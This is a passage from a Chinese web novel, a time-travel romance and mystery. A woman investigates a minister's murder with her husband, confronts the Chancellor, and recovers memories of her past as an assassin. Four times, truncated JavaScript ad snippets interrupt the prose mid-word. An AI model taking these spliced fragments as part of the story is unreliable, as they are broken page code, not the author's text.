于是接下来众人都往里走出来,萧明渊便让管家将发现王夫人晕倒的侍女叫过来问话,梁浅也只顾着看手中的笔记,没有注意自己脚下。 砰的一声,梁浅的腿膝盖狠狠的撞在了书桌前的椅子上,梁浅吃痛的半蹲了下来捂着撞到的地方,他人都走在前面,只是转头来看了看便走了。 萧明渊走在梁浅身后,见梁浅撞到了,忙上前问她的状况,“怎么样,要不要紧?” 梁浅表情有些痛苦,但是还是摇了摇头,嘴硬着说着没事,于是萧明渊想扶她到旁边的椅子上坐,却被梁浅拒绝了。 梁浅忙着摆手说道:“不要破坏现场证物,我们,嘶,还是快些出去吧。” 萧明渊摇了摇头扶着梁浅往外面走着,梁浅一瘸一拐的走着,可是手上还拿着一堆东西,萧明渊的个子太高,虽然他躬着身扶着梁浅,两人却走得很吃力。 于是走到书房的较为空旷的地方时,萧明渊见她走得吃力,便直接伸手将她横抱了起来。 只听得还在书房各处收集证据的大理寺人员见到此景小声惊呼,他们平时查案哪里见过上司这般样子,梁浅也感受到了周围人的目光,于是有些脸红的说道:“快放我下来,我能走。” 萧明渊无奈的看着梁浅,然后见梁浅有些挣扎,把她抱得更紧了些,然后说道:“就你这慢慢的挪动什么时候才走得出去。” 然后萧明渊便没有管任何人的目光,径直抱着梁浅往外走了出去。 于是梁浅终于妥协了,索性放松了下来,直接把头靠在萧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 明渊的胸膛,任由他抱着走出去,自己则看了看自己手中的笔记。 结果出了书房,萧明渊并没有放下梁浅的意思,向管家问了客房,交代几位大人先去正堂等自己后,自己便抱着梁浅往客房走去。 看着刚刚一本正经的方大人,嘴角都在偷笑,梁浅就有些不好意思的将笔记挡着自己的脸。 到了客房后,萧明渊将梁浅放下,梁浅往椅子里面坐了坐,正打算休息一下继续看着笔记,萧明渊说要看看她的伤处。 梁浅嘴上尴尬的说着不用了不用了,但是见萧明渊有些严肃紧张的脸便妥协了,卷起裤腿看着膝盖。 萧明渊见只是有些红肿,才松了一口气,梁浅安慰的说道:“无非是才撞到的时候痛得紧,这会儿已经没有什么感觉了。” 侍女端来了热水等一些刚刚萧明渊吩咐的东西,萧明渊轻轻的吹着梁浅的伤处,然后语气和缓的说道:“听闻你从小身体就不好,前些日子还受了伤,若再受些外伤怕一时半会儿好不了了。” 梁浅见他这般紧张的样子,只是说道:“你也太大题小做了。” 萧明渊正打算抬头和她理论说从自己刚刚的视角以为梁浅刮伤了,结果一抬头,就忍不住哈哈大笑,甚至直接笑得坐在的地上。 梁浅一脸疑惑,还从来没有见过萧明渊这个样子,疑惑的问道:“你笑什么?怎么了?” 萧明渊笑得半天说不上话,见梁浅不明所以,他更觉得她这个样子可爱得惹人发笑,见梁浅有些生气了,才起身去桌子旁,将手帕着了热水,走过来要给梁浅擦脸。 梁浅本能的往后一躲,萧明渊笑着说道:“你不是说想知道我笑的原因吗?” 梁浅才乖乖的坐着任他擦脸,萧明渊边偷笑着边轻轻给她擦着脸,手帕还冒着热气,怕烫到梁浅,萧明渊边擦边轻轻的吹着。 结果等萧明渊擦过一遍,给梁浅一看,手帕都变黑了,梁浅呆呆的看着萧明渊说道:“这是?墨?” 萧明渊点了点头转身去洗手帕,梁浅这才想起来,自己刚刚因为吃痛,所以没有注意手中的墨笔,所以将笔上的墨都抹了好些在自己脸上。 梁浅此刻才真正感觉到刚刚在书房有多么社死,现在巴不得找个地洞钻进去。 萧明渊洗了帕子来,梁浅见他还在偷笑,便佯装生气的说道:“别笑了,我自己来。” 然后梁浅拿过他手中的帕子,自己擦了起来,萧明渊则尽力压着自己的嘴角,是不是转过身偷笑。 见梁浅胡乱的在脸上擦了一通,便又伸手去拿她手中的手帕,说道:“你又不知道在何处,还是我来吧。” 梁浅又不想让他来给自己擦脸,这样显得太过暧昧,于是便在萧明渊伸手的时候把自己拿着手帕的手往后一收。 没有想到萧明渊也往梁浅处继续靠近,结果梁浅一下子没有找到支撑点,被萧明渊的靠近逼得连连后退,便直接往后倒去。 20. 第二十章·丞相大人 梁浅和萧明渊两人争抢着手中的手帕,结果两人都失去重心,倒了下去。 椅子倒了下来,两人也都倒在了地上,梁浅之前手臂的伤又被撞到了地上,梁浅一声吃痛,坐起来抱着手臂嘶了一声,结果看到旁边的萧明渊也捂着胸口,表情痛苦的样子。 萧明渊抬头看见梁浅正看着自己,两人互相看了看各自狼狈样子,看着对方都笑了出来。 梁浅说道:“不知夫君今日看下来,又是如何看待此案呢?” 萧明渊也学梁浅的样子坐在了地上,叹了一口气,然后说道:“不论是这件案件的真相本身,还是这件事所涉及到的众多利弊,都太过复杂,虽然我已经大概猜到这幕后之人以及他的想法,可是牵一发而动全身,我并不确定……” 梁浅打断了他犹豫的话语,梁浅说道:“可若凶手不是那书童,他只怕难逃一死,难道我们就这样看着他被冤死,袖手旁观吗?” 萧明渊刚刚犹豫的眼神听到梁浅这话后变得眼神闪动起来,梁浅见他有所触动,便继续语气温和的说道:“明渊,我知道如今你卸下重任回京,今日又上任了大理寺丞,心里有很多事情,家族的责任,陛下的期许,官场的尔虞我诈,甚至你我的未来,我明白你的犹豫,可是在我们来时,你也说你不想让他人看轻自己,我也知道你一定有不只眼前的抱负,为了公道,为了真相,我们更要查清此案,还给清白之人一个公道,也不让王尚书枉死,不是吗?” 萧明渊笑着看向梁浅,点了点头,嘴里说着多谢娘子。 梁浅则拉着他的手,轻轻的拍了拍他的手背安慰着。 门外万星敲门禀报,堂中来了人,王家几个舅舅回来了,方大人也在书房也问完了侍女的话。 梁浅先起身拍了拍身上的灰尘,然后便转身向萧明渊伸出了手,萧明渊本来还在发呆,在看到梁浅伸出的手后,他又看向梁浅的眼神,她的眼睛十分真挚,十分清澈。 联想自己在边关参战时,第一次见到经受到战乱痛苦的百姓,流离失所,妻离子散,于是有了自己一直践行的誓言,萧明渊伸出手牵住了梁浅,站起身来与她并肩向外走去。 当年自己战斗是为了身后的人不再经历战乱之苦,为了不就是心中的道义,如今自己回京任大理寺丞,难道不也是如此?今日若为了权衡利弊,放弃了无辜者的性命,致使他枉死,日后还会不会有更多的人在我的权衡利弊下放弃呢? 看着此时稍稍走在前面的梁浅,萧明渊坚定了心中的想法,上前去伸手牵住了她的手,她的手有些小小的,却很温暖。 * 两人还没有到堂中,就听到几个男人争吵的声音。 “姐姐就不应该让他们来验尸,姐夫生前人人称赞,可是一等一的好官,如今死了还要受此折磨。” “就是,况且我们本来也不应该怕这件事暴露,当时陛下若派人来赐玉冠,我们把来人买通便是,也就不会有这些事了。” “姐姐无非是吓得失了魂,如今府中的一应事物,姐姐也不必管了,好好休息吧,我们就勉强先帮着姐姐,等应儿再大些我们再交给他吧。” “各位舅舅这说的是哪里话,舅舅们这几日为了王家殚精竭虑,已然让应儿和母亲感激非常,又怎么敢再劳烦各位舅舅,过几日将父亲下葬后,我和母亲便会卖了宅子,再遣去府中半数人,我和母亲便会回到江南老宅,不会再劳烦舅舅们。” 少年用沉稳的声音说道。 梁浅听到此话,对这少年的好印象又增加了几份,王家的几位舅舅正面面相觑时,梁浅和萧明渊走了进来,于是众人朝萧明渊行礼,萧明渊向仵作问道情况如何,仵作从远处走了过来。 正在众人都关注着仵作的时候,其中一个感觉年龄稍大一些的王家舅舅,乘机走到萧明渊面前,谄媚的行着礼,然后和自以为自己毫无破绽的从袖子中拿出了一封信,想偷偷塞到萧明渊手里。 结果萧明渊看都没有看,只是从他身边走了过去,而他手中的信封也因为紧张没有拿稳掉在了地上,梁浅则夸张的大声说道:“呀,老伯这是何物?” 于是这位大舅便想立刻伸手去捡,梁浅却快他一步,先拿了起来,因为梁浅的声音动作很明显,众人也往这边看了过来。 梁浅拆开信封,里面放着好几张银票,对面那人已经紧张的说不出话,梁浅看了他一眼然后说道:“王家舅舅可真是心善,还想着王家母子如今孤儿寡母的没有依靠,还专门给了银两傍身,真是好舅舅。” 于是那人只有尴尬的点了点头,梁浅便将信封拿给了王应,王应接下,先向梁浅行礼,而后又向他舅舅行礼,然后语气诚恳的说道:“侄儿在此深谢大舅了。” 萧明渊看着这一场闹剧,只是笑而不语,然后手中翻看着仵作递过来的册子,问着仵作各处疑点。 梁浅向方大人问道:“方大人,疑犯可提过来了?” 方大人看着刚刚文书先生记录的册子,回应着梁浅,“已然提过来了,我也当着众人问了话,他并不承认自己就是凶手。” 梁浅在方大人面前沉默了片刻,方大人见梁浅发呆,便伸手给她指了指。 只见方大人指向院中的一处角落,大理寺的人守着一个满身是血的男人,那男人跪坐在地上,此时院中的太阳将地烤得炙热,那人低着头,汗水不断的滴落在地上。 梁浅见状拿起桌上的茶水快步走了过去,却被大理寺的人拦住,萧明渊也注意到梁浅的动作,于是也赶紧拉了方大人一同走到梁浅的身边,对看守的人点了点头,然后梁浅便赶紧蹲下来,将水递到那人的嘴边。 王家的人见状也赶紧上前来问,结果萧明渊一脸铁青的说道:“这既不让大理寺进门查案,还要将疑犯刑讯逼供百般折磨,怎么,王家是不将家国律法放在眼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里?” 刚刚那位大舅汗如雨下,支支吾吾半天也回答不了,而较为年轻的那位,暂且猜是三舅的人,站出来行礼回到,“回大人,大人这可就冤枉我们了,不让大理寺进门是那不懂事的门房干的,早被我打发了出去,而这厮可是姐姐亲眼看见拿刀杀了姐夫,当时情况危急,众人要将他抓住时,动了些武,这才伤了他的,大人说刑讯逼供百般折磨那更是没有的事。” 梁浅将水给书童墨白喝完,然后正打算起身,墨白一把拽住梁浅的手说道:“多谢夫人救命之恩,夫人如此做,可是相信我的清白?” 看着墨白急切的眼神,梁浅叹了一口气,然后安慰的说道:“不过是喝水的小事,不必言谢,且今日无论你是不是清白的,我都会这样做。” 梁浅站起身,带着墨白等众人都来到阴凉处后,才又看向萧明渊,萧明渊和方大人对视了一眼,然后对王家众人说道。 “今日本官来此巡查王尚书遇刺一案,现认为书童墨白为凶手之事还有众多疑点,或许真正的凶手还在府中,故望众人多多配合,大理寺众人会将府中上下各人都询问一遍,还望见谅。”萧明渊说道。 顿时众人便议论纷纷,王家的几位舅舅也急了起来,那位三舅又站出来说道:“大人此举,是怀疑我们众人都和此案有关了?大人此举未免太不将我们这些前辈放在眼里。” 梁浅站出来说道:“王家舅舅这话说得倒是显得大理寺办案的众人是故意刁难您一样,这询问探查下来,大人英明神武,若是无辜之人,心中无虑,如何过问都不会心虚,若是有疑之人,定会漏出破绽,大人定不会轻易放过,莫非王家舅舅这是心中有事,所以不敢让人探查?” 见对面不敢说话,萧明渊并示意众人开始行动,也只打算带着人在旁边客房询问这疑犯,梁浅和萧明渊的意思是不想让他到监牢受苦,而且若是今日找的出来真凶,也可以还他清白。 正在众人议论纷纷时,堂外传来一个中年男子的笑声,梁浅循声望去,那人衣着华贵,神态自然,一眼就像在官场混了许多年的老狐狸,虽然是在大笑,却隐约给人一种不寒而栗的感觉。 男子说道:“萧侯爷这是好大的官威,竟然在王尚书的灵堂上都如此放肆。” 众人见男子进来,都纷纷行礼说到拜见丞相大人,梁浅见萧明渊的神情闪过一丝怒气,但是他很快便压制了下去,转身恭敬的同众人给丞相行礼。 丞相不紧不慢的走到萧明渊的身前,因为丞相没有说话,众人也一直低着头。 “见过丞相大人。”萧明渊恭敬的说道。 丞相这才浅笑着说道:“大人快请起,未曾想大人今日听了旨意便就来查案了,勤勉如大人,真是当朝官员的榜样。” 萧明渊笑着回道:“回丞相大人,陛下交代的事情晚辈自然不敢懈怠半分,倒是不知大人今日前来,所为何事?” 21. 第二十一章·师父 此刻堂中的气氛降到了冰点,梁浅偷偷的观察着双方的神情,丞相一直看着萧明渊,丞相的眼神中有怀疑,更有几分蔑视,但是见萧明渊一直不动,于是丞相沉默片刻淡定说道:“自然和萧侯爷一样,是来吊唁王尚书的。” 丞相说完,便转身到灵堂上去祭拜王尚书,全然不理会周围的众人的目光,梁浅本以为萧明渊会就此松一口气,但是没有想到他还是丝毫没有放松。 丞相身上自带的让人不敢近身的气质让梁浅觉得不寒而栗,可是这会儿从刚刚梁浅进门就默不作声的王家剩下那个二舅却在众目睽睽之下朝丞相大人走去,丞相的侍卫也并未阻拦,像是之前就认识似的。 那人走进后附耳和丞相说了什么,丞相听完表情仿佛早有预料一般,只是转身向众人说道:“既然王家当场抓获凶犯,证据确凿,那便由萧大人和方大人将凶犯带回去即可,王尚书生前勤勉刻苦,为陛下为朝廷奉献了半生,确实这会儿又在这王尚书的灵堂上闹,有失体面。” 众人都静悄悄的听着,可是当梁浅听到丞相说的什么证据确凿和有失体面,便有些忍不住了,想冲出去说道:“体面重要还是……” 梁浅还没有说完便被萧明渊一把拉住,还没有说完的半句话便被咽了下去,梁浅看向萧明渊,只见他只是微微转身看着梁浅,然后轻轻摇头,梁浅从他的眼神中读出了他不想让自己说下去的意思。 可是丞相已然注意到了二人,于是丞相便转身看着梁浅说道:“萧大人不是同方大人来查案的?这女子又是为何会出现在此?” 萧明渊躬身行礼道:“这位是晚辈的新婚妻子,今日娘子陪同我一同来吊唁王尚书,并无他意。” 梁浅听到萧明渊此话,心中虽然不快,觉得好像萧明渊一句话就将自己今日的所有努力否定了,可是现在众人的目光都聚集在此处,而且她也看出了萧明渊的为难,更是不敢直视丞相大人的眼睛,所以也不敢在说话了。 丞相便从嘴里哼了一声然后说道:“既然如此,妇道人家还是不要掺和男人的事了。” 萧明渊轻轻点了点头,便转身对月银说道:“月银,夫人累了一天,先送夫人回去。” 梁浅关切的看着萧明渊,萧明渊拉了拉她的手,像早上梁浅安慰他一样,拍了拍她的手背,然后轻声说道:“放心,你先回去,晚饭不必等我。” 梁浅看着萧明渊,点了点头,然后向众人行礼后便走了出去,梁浅知道,看形势自己如今再在这里恐怕也没有什么进展了,还不如先回去,也是解决了萧明渊的后顾之忧。 梁浅坐在马车上,想着刚刚萧明渊看向自己紧张的神情,心里莫名有一种不可名状的感觉,他刚刚好像是真的担心我。 可是萧明渊刚刚的那番话也让梁浅不得不在意,难道自己在他眼中,我也不过是添麻烦的女子吗,难道他从来没有正眼看过我,没有将我的努力和想法放在眼中吗。 梁浅莫名其妙的钻起了牛角尖,正在自己郁闷着,眼看已经离开王家一段距离了,月银骑着马走到马车旁。 月银边朝前方看着路,边时不时转头看向梁浅这边,和梁浅说着话。 “夫人千万不要怪侯爷,侯爷也是担心夫人。丞相大人在朝中权势滔天,众人都不敢得罪他老人家,如今丞相视侯爷为眼中钉,处处刁难侯爷。 而丞相本人也是心恨手辣,实不相瞒,侯爷回京后受陛下之命,暗中调查去年军饷贪污一案,前些日子有了眉目,侯爷寻得一位知道重要线索的证人张三,侯爷派万星去将张三带进京城之中,想由我们亲自询问保护,却没曾想,百密一疏,那人不止何时就中了毒,侯爷还没有问到关键,那证人就毒发身亡。 防止惊动他人,侯爷带我和万星赶到那人的家中,却发现那人家中众人也被人残忍杀害,家中凌乱不堪。 我们赶到时还有两个贼人在翻找,那贼人武艺高强,我们三人都受了伤,我们将其押到官府,当地县丞却说这不过是山匪作乱,就此结案。”月银说完,梁浅陷入沉默,心中更是为这无辜之人感到惋惜。 月银继续用只有两人能听到的声音说道:“我们心中都清楚,这背后之人是谁,只是没有想到他如此冷血,竟然连无辜之人都不放过,想必也是因为如此,侯爷才不想让丞相注意到夫人罢,也是为了夫人的安全着想。” 月银沉默片刻,又继续说道:“即使我们跟着侯爷征战多年,见过无数的杀戮和血腥,可卑职近日每每回想起当日张家被灭门的惨状,都不寒而栗。” 听到此处,梁浅对于婚后萧明渊虽然没有官职每天却很忙的样子心中便有了数,而自己此时心中同时感到的是对丞相这个人的后怕,想必这个人,一旦有谁挡了他的路,影响到他的权威,他都会想方设法的将所有隐患除去。 也是此时,梁浅才真正意识到自己穿越过来,因为在这段时间生活,周围人的平和态度,让自己放松了许多。 此刻让自己真正意识到这个地方的恐怖之处,虽说上次遇袭有惊无险,但是其实当时觉得自己有武力傍身,加上觉得当时抱着万一死去就穿回去的心态一搏,加上也一直没有深想过这件事,所以事后反而没有这么吓人。 而现在这种对于未来未知的恐惧,对于这个封建时代上位者拿捏他人命运的恐惧,特别是想到如果有一天自己身份暴露,同样作为这个生态上位者的萧明渊又会如何对待自己,而自己和萧明渊即使统一战线,万一斗不过丞相,结果又会怎么样。 而自己现在又为何这么在乎萧明渊他们的态度,而这密诏涉及的事情会不会也和丞相有关,自己这件事还要不要进行下去,还是直接跑路。 梁浅想了一路,浑浑噩 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 噩的回到萧府,浑浑噩噩的回到房间,梁浅一直在想关于这些问题的答案,却仿佛自己给不出这样的答案。 * 正在梁浅一个人坐在房间里面独自emo的时候,门外传来了敲门声,梁浅见身影是一个女子,便以为是芸香,便头也没有抬的说了声,“进来吧,芸香。” 结果那人进来后便顺手将门关上,然后走到梁浅的身后,梁浅意识到有些不对,想转身抬头,却没有想到那人抬手就给了梁浅脑袋上敲了一下。 虽然不重,但是还是让梁浅脑袋吃痛,梁浅嗷呜一声,然后眯着眼睛看眼前的人是谁。 梁浅才看清来人是一个中年女子,装作府中的婆子打扮,但是坚毅清澈的眼神就暴露出了她的与众不同,梁浅隐约记得自己在新婚第一日时,这人好像来过自己的房间,但是自己当时并未注意,这几日也没有再见到这人,怎么这人还跑来打自己。 梁浅有些气愤的说道:“你是谁呀?干嘛打我。” 对面的女子一脸疑惑,凑近来看着梁浅说道:“你这丫头怎么了,我都不认识了?这侯府夫人当得惯了,都六亲不认了?” 梁浅还是摸着刚刚被打到的地方一脸疑惑的看着对方,见梁浅这般疑惑无知的表情,对面才有些慌了神说道:“莫不是真被我敲傻了,孩子,快过来,为师瞧瞧。” 梁浅歪着头说道:“你是我师父?” 女子点了点头,然后说道:“那日我就见你有些不寻常,你这是怎么了?” 梁浅眼下只有继续编下去,见女子并没有恶意,而且感觉自己心中也对这女子十分亲切,便只是骗她说自己被人下药中毒失忆了。 于是女子便赶紧拉着梁浅坐下来,给她把脉,然后一脸严肃的说道:“加之你的说法,应该是中了江湖上的离魂散,中了此毒,当下便会昏睡,这药根据人体体质不同,受到影响的深度不同,有的人醒来一切如常,有的人醒来便会丧失记忆,而这毒隐藏极深,若不是我这种常年在江湖上混的人判断得出来,寻常医者想必诊断不出。” 听到这里,梁浅心中有种不安涌上心头,如果真的是丧失记忆,那岂不是意味着自己有可能不是那日才穿越而来的。 女子拿出一枚红色的药丸,递给梁浅说道:“这毒并不难解,此药虽不能保证让你全然恢复记忆,但让你想起我是谁还是能够做到的。” 梁浅接过药,心里闪过片刻犹豫,若是吃了这药,自己回忆的究竟是这个时代的自己,还是现代的梁浅呢,即使梁浅想到可能结果会让自己感受到失望,梁浅还是吃了下去,无论在哪里,至少我要搞清楚自己是谁。 梁浅刚吃完药,便感觉脑袋昏昏沉沉,径直晕了过去,女子见状,将梁浅抱到了床上,将她被子盖好,坐在床边,轻抚着梁浅的脸庞,嘴里喃喃说道:“不知是祸是福。” 22. 第二十二章·真正的故事 回忆如潮水般涌来,梁浅此时才回忆起,其实自己来到这里已经将近十多年了…… * 故事的开始和新婚那日一样,梁浅意外穿越,睁开眼睛,自己身处一个破庙之中,屋顶有好几个洞,屋顶漏下的雨还在滴滴达达的打着,梁浅艰难站起身来,可是没有想到的是自己的身体竟然只是一个孩童的摸样,而且肚子很饿,显然体力不支。 梁浅心想,原来这个孩子是被饿死的啊,孤零零的一个人,真够可怜。 梁浅艰难的朝滴水处爬去,身体的筋疲力尽,意识的混乱,梁浅已经顾不得管那水是从何而来了,而到滴水处的这一小段距离,如果是作为大人的梁浅,自然是几步就跨了过去,可是现在却只有一步一步的挪动。 梁浅自己感觉仿佛过了一个世纪,终于到达了目的地,梁浅于是急忙的张开嘴去接,水滴一滴滴递进梁浅的嘴里,让梁浅的喉咙逐渐不那么干燥,而自己的意识仿佛也恢复了一点。 喝够了水,梁浅还是站不起来,这身体太过虚弱了,梁浅无力的靠在柱子上,透过房顶的缝隙看着外面的天,好像雨后天晴了,只看得到一小片仿佛被洗过的天。 于是梁浅又开始犯困了,而梁浅能意识到,自己此时的困意是多么可怕,自己心里仿佛一只在和自己做着斗争,内心深处有人好像在和自己说,这想必是穿越到这个人的身体上了,说不定再死一次,自己就可以穿回去了。 可是理智告诉自己,万一死了回不去呢,不,自己不能就这么死了,这个可怜的女孩一个人死在这里,这已经令人悲痛万分了,既然上天让自己接她的身体重活一次,不能就这么算了。 所以不能让自己睡着,梁浅想起自己以前看到过的一种古代的刑罚,便是将水滴一直滴在额头上,人在被蒙眼束缚的时候,触觉会异常灵敏,这会加剧人对未知的恐惧。 所以在此刻,恐惧或许也能成为梁浅活下去的一份力量。 梁浅挪动到水滴滴落的地方,然后用一只手遮住自己的眼睛,抑制住自己的身体,若能继续保持住自己的意志,应该自己就能稍微恢复站起来了,而且还好下了雨,有了水,自己应该还能撑几天。 梁浅只听得嗒嗒的水滴声,感觉自己的身体因为这样的不适本能的在抗拒,虽然难受,但是至少是一个好消息了。 不知道过了多久,天上雷声大作,竟然又下起了雨,梁浅起身,虽然双手双脚酸痛至极,但是至少梁浅的意识和体力都有所恢复,梁浅将一个破破烂烂的碗放在房屋漏处,然后尽力往门口爬去,想必那个小女孩因为寒冷,所以将门都关上了。 可是梁浅要尽力打开门,此时大雨,并不适合直接出去,可是要让过路的人注意到自己,自己必须这样做,自己要赌一把。 梁浅在要到门口的时候,意识又开始模糊,于是梁浅便直接一口咬在了胳膊上,让疼痛提醒自己清醒,最后用尽全力推开了门。 果然外面下着倾盆大雨,梁浅爬出门槛,在屋檐下隐约站着一个少年,少年看到了梁浅走了过来,伸手将她扶起,问道:“小妹妹,你怎么啦?” 梁浅虚弱的吐出两个字:“饿,饿。” 少年忙将行囊中的饼递给梁浅,见梁浅没有力气,少年便将饼在自己手中一块一块撕碎,才递到梁浅口中,安慰的说道:“慢点吃,小心噎住,饿得急了更得细嚼慢咽。” 梁浅听了他的话,靠在他怀里,慢慢的吃着东西,梁浅从来没有觉得饼有这么好吃。 梁浅吃了小半块饼,少年便将自己随身携带的水壶拿出来,动作轻柔的喂给梁浅。 梁浅逐渐感觉自己的身体有些复苏,加上这会儿吃饱喝足,身边也有人,这人的怀抱好暖,淅淅沥沥的雨声催眠着,梁浅竟然不知不觉就在少年的怀抱中睡着了。 少年见怀中的小女孩呼呼的睡去,轻轻挪动了一下身子,自己靠在了墙上,怕女孩淋到雨,又将她把自己怀里拢了拢,回想刚刚,原来以为天已经放晴,可是却没有想到走到半路又下起了雨。 自己到此处屋檐躲雨,只自己记得长辈说的一人不入庙,并没有推开门进去,少年心中产生了些许愧疚,心想自己若是推门看看,或许早就能帮这个女孩了。 少年又看了看自己怀中的女孩,想到若是她今日没有拼劲全力推开门,或许雨停后自己就走了,看着女孩满身的伤痕,少年轻轻抚了抚她的脸蛋。 梁浅这一觉无梦,睡得极好,梁浅醒来发现雨停了,自己还在少年的怀中,梁浅轻轻抬头,看到少年正在闭目养神,眉头紧皱,梁浅便伸出自己的手轻轻的触碰少年的眉心,想替他将眉头抚平。 少年睁开眼说道:“你醒了,可好些?” 梁浅点了点头,然后从少年的怀中坐起来,少年扶她与自己同坐。 “你为何会在这里?” 梁浅摇头。 “你的父母呢?” 梁浅还是摇头。 少年叹了口气,然后说道:“既然如此,那我帮你找户人家可好,我还有很重要的事情要做,还要赶路,所以不能照顾好你。” 梁浅点了点头,心想此时只要活下去就很好了,这少年与自己素未谋面,帮自己到这里已经仁至义尽了。 * 少年将女孩带到了当地的县丞家中,交代县丞一家要善待女孩,还留下了许多银两作为抚养女孩的费用,几人笑着迎少年出去。 少年临走时和梁浅说道:“你好好休养身体,等我空了便会来看你,要好好活着,知道吗?” 梁浅点了点头,然后说道:“虽然不知如何才能报答你的恩情,但是我会活着的,因为只有活着才能报答。” 梁浅当然知道知恩图报,只是如今什 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么以身相许之类的太悬浮,人家也有自己的事情要做,自己也不能一直跟着他。 少年眼眸亮了一下,然后说道:“你终于愿意说话了,那你可愿告诉我,你的名字?” 梁浅犹豫片刻,然后说道:“阿浅,你呢?” 少年笑着说道:“我叫阿渊,这是我母亲做给我的剑穗,送给你。” 梁浅小心翼翼的接过阿渊手中的红色剑穗,两人四目相对,少年骑着马,然后对女孩说道:“保重。” “保重。” * 后来的女孩在县丞家休养,县丞和县丞夫人都待梁浅极好,将梁浅当自己的孩子对待,教梁浅读书识字,可是未曾料到,县丞被人诬告陷害丢了官职,京城中的大人物更是以为县丞得知了什么秘密,在县丞夫人众人都在之时,派人将其全家灭门。 梁浅那日去邻县拿做给夫人的生辰礼物,所以逃过一劫,将礼物拿回来时,见到的已然是满院的尸首,梁浅请乡里筹了钱,将众人安葬后,便一个人在四处流浪, 而那少年,梁浅也再没有见过了。 后来梁浅才遇到了自己的师父,师父教自己练武,带自己玩闹,梁浅才终于过上了稍微好一些的生活。 及笄过后,师父便开始带着梁浅执行任务,师父作为一名优秀的刺客,每次独立完成任务都很出色,但是一带上梁浅,梁浅便总是会把任务的重点走偏,梁浅也或许因为师父一直宠着自己,自己总是马虎,总是想引起师父的注意。 或许是因为流浪的日子,或许是因为曾经濒死,自己变得非常爱财,好像只有心里有钱,自己才不会过上那样的生活,其实师父不知道的是,梁浅总是想有了钱也可以帮县丞一家修缮祠堂灵位了,如果有一天遇到像曾经的自己那样的孩子,自己也可以更好的帮助他们了。 而自己之所以会纠缠到着萧府中,其实也是各种阴差阳错,原来柳家的大小姐柳烟晴表面上是一个大家闺秀,其实内心不受约束得很,梁浅为了赚点外快,经常会接到这位大小姐的单子,比如柳烟晴本人要出去玩,则帮她在府里假装自己啦;或许柳大小姐不想回信,梁浅帮她回信啦;柳烟晴想和顾公子告白,请梁浅帮她出谋划策啦。 总之,梁浅为了赚钱,就常常隐藏于市井之中,学习模仿着这里的人,逐渐的,梁浅感觉自己逐渐被这些纯古代人的思维和环境影响,常常会想,究竟现在是梦,还是生活在现代的梁浅是一场梦,梁浅意识到自己必须远离。 于是梁浅向师父提出,自己要退出刺客组织,离开这里,可是师父却不同意,在梁浅各种方式试过之后,师父终于妥协,却要求梁浅必须去独立的执行一项任务并且拿到赏金,师父才能认可她的能力,才愿意放她离开。 而当梁浅接到任务后,调查一番竟然发现,与自己有长久往来的柳烟晴就是重大突破之处。 23. 第二十三章·百年古树 梁浅一觉醒来,头痛欲裂,这一夜自己想起了很多,虽然很多细节还没有回忆起来,但是对于自己是个刺客这件事,已经是毋庸置疑的了。 对于萧明渊之前一直说什么的新婚之夜,自己还是有些没有回忆起来,但是梁浅心想应该也是我作为专业刺客范围内所做的任务吧,没有什么奇怪的吧,梁浅自顾自的想着。 而此时自己从师父那里学来的很多武功好像也自然而然的恢复了许多,梁浅也变得更加自信。 梁浅自己突然在思考自己为何上天会让自己有这次失忆的经历,梁浅看着镜子里面的自己,意识到自己的心态有发生了变化,因为有这次失忆,让自己确信现代的自己不是梦境一场,即使回不去,自己之前那种庄周梦蝶的心态仿佛也有所放松了。 梁浅看着镜子里的自己,认真的打扮了起来,对比之前自己随意的打扮,也只是芸香他们帮自己挑的,这一次,梁浅要认认真真做自己的选择,要真正的关注到自己。 梁浅推开窗户,却看到了与以往完全不同的场景,院中原来只是一些梁浅不太认识的绿植,且杂乱并无章法,然而今日院中居然有一颗枝繁叶茂的桃花树。 梁浅瞪大了眼睛,轻风拂过,花瓣飘落,梁浅被吸引,于是兴冲冲的打开门。 一开门便见到萧明渊穿着绯色的官服站在桃花树下,花瓣飞舞,而他的站在树下静静的看着梁浅。 梁浅感觉今日看着萧明渊自己的感受有所不同了,或许是许多记忆恢复的原故,自己对于萧明渊内心的熟悉感和信任感好像比以前更深了许多。 梁浅有些蹦蹦跳跳的走过去,然后假装不经意的样子,问起萧明渊的衣服,“你今日去上朝了?” 萧明渊笑着点了点头,然后说道:“是,昨夜我回来过一趟,见你睡得正香,我便拿了些换洗的衣服就去大理寺了,到了时辰便进宫上朝。” 梁浅哦了一声,然后看向他的官服,然后问道:“夫君不是大理寺丞?这官服的颜色?” 萧明渊得意的回应道:“嗯,今日你夫君我将昨日我们的调查都整理上报给了陛下,我还特别和陛下提到,这里面的众多细节还是你提出来的,陛下夸我们夫妇两乃是天作之合,加之陛下和我都认为丞相在此案中定是有对他不利的地方,所以为了提升我说一同抗衡丞相,便说让我暂代大理寺少卿之职。” 梁浅听到这里反而有了些怒气,然后严肃的对着萧明渊说道:“夫君说陛下夸了我们夫妇,那为何升官的只有你,我什么都没有。” 萧明渊有些不解的呆呆说道:“我升官不也是你升官嘛,你我夫妇一体,何必计较这些。” 梁浅抱着手,然后生气的看着萧明渊,“这不一样!” 梁浅见萧明渊还是不懂自己的意思,便转身回到了房间,还顺手关上了房门,只留下萧明渊不知所措的站在原地。 梁浅懒得和他解释这么多,梁浅心里很明确的认知到,他是这里土生土长的人,自然觉得夫唱妇随,妻子默默奉献才是这个时代的男子所认为的,而梁浅的这次失忆让自己回忆起了现代的记忆,给自己一种现代记忆的发生更近的感觉。 梁浅背靠着门,喃喃自语,他果然还是不懂自己。 不一会儿,梁浅便听到万星来给萧明渊汇报事情,梁浅便屏息偷听着。 * 万星走到萧明渊的身旁,萧明渊抬头看了看桃树,又看向房中的梁浅,心想虽然刚刚确实有些没有明白梁浅生气的原因,但是回想起刚刚梁浅看到桃树的神情,嘴角还是扬起了一抹笑意。 于是萧明渊转头对着万星说道:“做得好,万星,有赏。” 